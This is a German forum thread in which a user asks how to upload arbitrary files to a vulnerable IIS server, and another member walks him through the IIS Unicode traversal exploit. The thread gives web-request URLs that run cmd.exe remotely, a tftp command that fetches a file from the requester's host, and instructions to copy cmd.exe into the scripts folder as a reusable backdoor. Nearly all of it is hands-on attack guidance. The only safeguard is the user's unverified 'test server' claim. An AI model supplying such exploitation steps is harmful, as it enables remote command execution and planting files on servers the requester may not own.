Upload-(Script) für einen verbuggten IIS?

Hi Leutz,

ich bräuchte ein Upload Script, habe davon jedenfalls wasgehört, mit dem ich beliebige Dateien auf einen verbuggten IIS schieben kann. Falls es kein Script dafür gibt, bitte ich um ein paar cmd.exe Befehle.
mfg und vielen Dank im Voraus

cu
 
Hi seppl,

sage mal, hast Du durch Zufall mal www.google.de
mit den Suchbegriffen: IIS + bug + tutorial + Unicode
gesucht?

Dürfte helfen! :D

MfG Rushjo
 
jops hatte ich schon, jedoch hatte ich immer Probleme damit, dass er die nicht überträgt mit diesem befehl:
Code:
*****/winnt/system32/cmd.exe?/c+tftp+-i+123.456.12.45+get+c:\ftp\x.jpg+c:\x.jpg
123.456.12.45 ist hierbei meine IP! Und ich mache auch nichts illegales, ist ist ein testserver.
 
Wenn ich eine Datei übertragen will, dann meldet mir TFTPD32: recv returns 10054, Unexpected request 5 from peer. error 10054 in system call recv Eine vorhandene Verbindung wurde vom Remotehost geschlossen. Returning EBADOP to Peer. So, also hier ist wirklich Schluss bei mir :) Jetzt weiss ich auch nichts mehr. Aber ihr wisst da sicherlich mehr!

cu
 
hi seppl,

schau Dir einfach mal die Hilfe zu tftp.exe an!
(unter Dos c:\tftp /? )

Da steht:

TFTP [-i] HOST [GET | PUT] QUELLE [ZIEL]

Und sowie ich das bei Dir gesehen habe, fehlt dort
die Ziel angabe!

MfG Rushjo
 
hi,
Code:
*****/winnt/system32/cmd.exe?/c+tftp+-i+123.456.12.45+get+c:\ftp\x.jpg+c:\x.jpg
Code:
*****/winnt/system32/cmd.exe?/c+tftp+-i+<HOST>+get+<QUELLE>+<ZIEL>

also das ziel fehlt nicht.
aber auf dem testserver läuft eine firewall, kann es also sein, das ich deswegen so einen error message von ftpd32 bekomme: Eine vorhandene Verbindung wurde vom Remotehost geschlossen. ???
 
Also, ich denke, es liegt am RemoteHost und an der
Firewall! Aber paste mal bitte die genaue Antwort!

MfG Rushjo
 
Hi seppl,

also das Problem ist ein ganz Anderes. Du arbeitest
mit der

Code:
.../winnt/system32/cmd.exe?/c+....

und dies ist nicht möglich aufgrund der
Sicherheitsrichtlinien von Windows.
Du mußt vorher noch eine Kopie der cmd.exe erstellen
und mit der arbeitest du dann weiter! --> reicht das als
Tip/Hinweis?! :D

MfG Rushjo
 
Hi,

so ich habe nun die Datei kopiert und nochmals ausgeführt, aber es kommt immer wieder die gleiche Fehlermeldung bei meinem TFTP Server.
 
Hi seppl,

Du mußt dann auch mit der Kopie der cmd.exe
weiterarbeiten.

Code:
.../scripts/..../inetpub/scripts/kopie_cmd.exe?/c+.....

Dann sollte es funktionieren! :D

MfG Rushjo

P.S. Mal einen Tip zur Sicherung DEINES gebuggten
IIS. Lies mal dies hier und vorallem dürfte Dir
dies Tool hier helfen beim Sichern Deines IIS! :D
 
Ja ich habe mit der kopierten cmd.exe weitergearbeitet. Oder spielt es ne Rolle, ob die cmd.exe in dem Ordner "Scripts" liegt?


cu
 
Hi seppl,

janein. Sie sollte in einem "Nicht-schreibgeschützten"
Verzeichnis liegen! Normalerweise wird sie immer/
meistens in c:\inetpub\scripts\ gelegt! In das Verzeich-
nis hat der IIS standardmässig Schreib-/Lese-/Lösch-
rechte! Dort sieht man auch, ob vorher schon
"jemand" auf dem Server war/ist! :D

MfG Rushjo
 
jops. habe es wieder so gemacht, wo du rushjo es gesagt hast, aber es kommt immer wieder der gleiche fehler, den ich schon gepastet hatte.
 
Hi seppl,

so ich antworte mal ein bißchen detaillierter. Mit den
folgenden Befehlen sollte es eigentlich funktionieren:

Code:
http://IP/scripts/Unicode_Bug/winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmdneu.exe

* zuerst kopierst Du erstmal die cmd.exe ins Ver-
zeichnis c:\inetpub\scripts\

Code:
http://IP/scripts/Unicode_Bug/inetpub/scripts/cmdneu.exe?/c+dir+c:\inetpub\scripts\

* mit der Kopie der cmd.exe (=cmdneu.exe) arbeitest
Du dann weiter. Ich habe mir hier erstmal nur den
Inhalt des Verzeichnisses anzeigen lassen!

Wichtig ist, das Du mit der Kopie weiterarbeitest und
nicht mit dem Original der cmd.exe, weil die Rechte-
vergabe dies bei Windows nicht zu läßt.

MfG Rushjo

P.S. Wenn das nicht hilft, einfach hier weiterfragen.
 
Zurück
Oben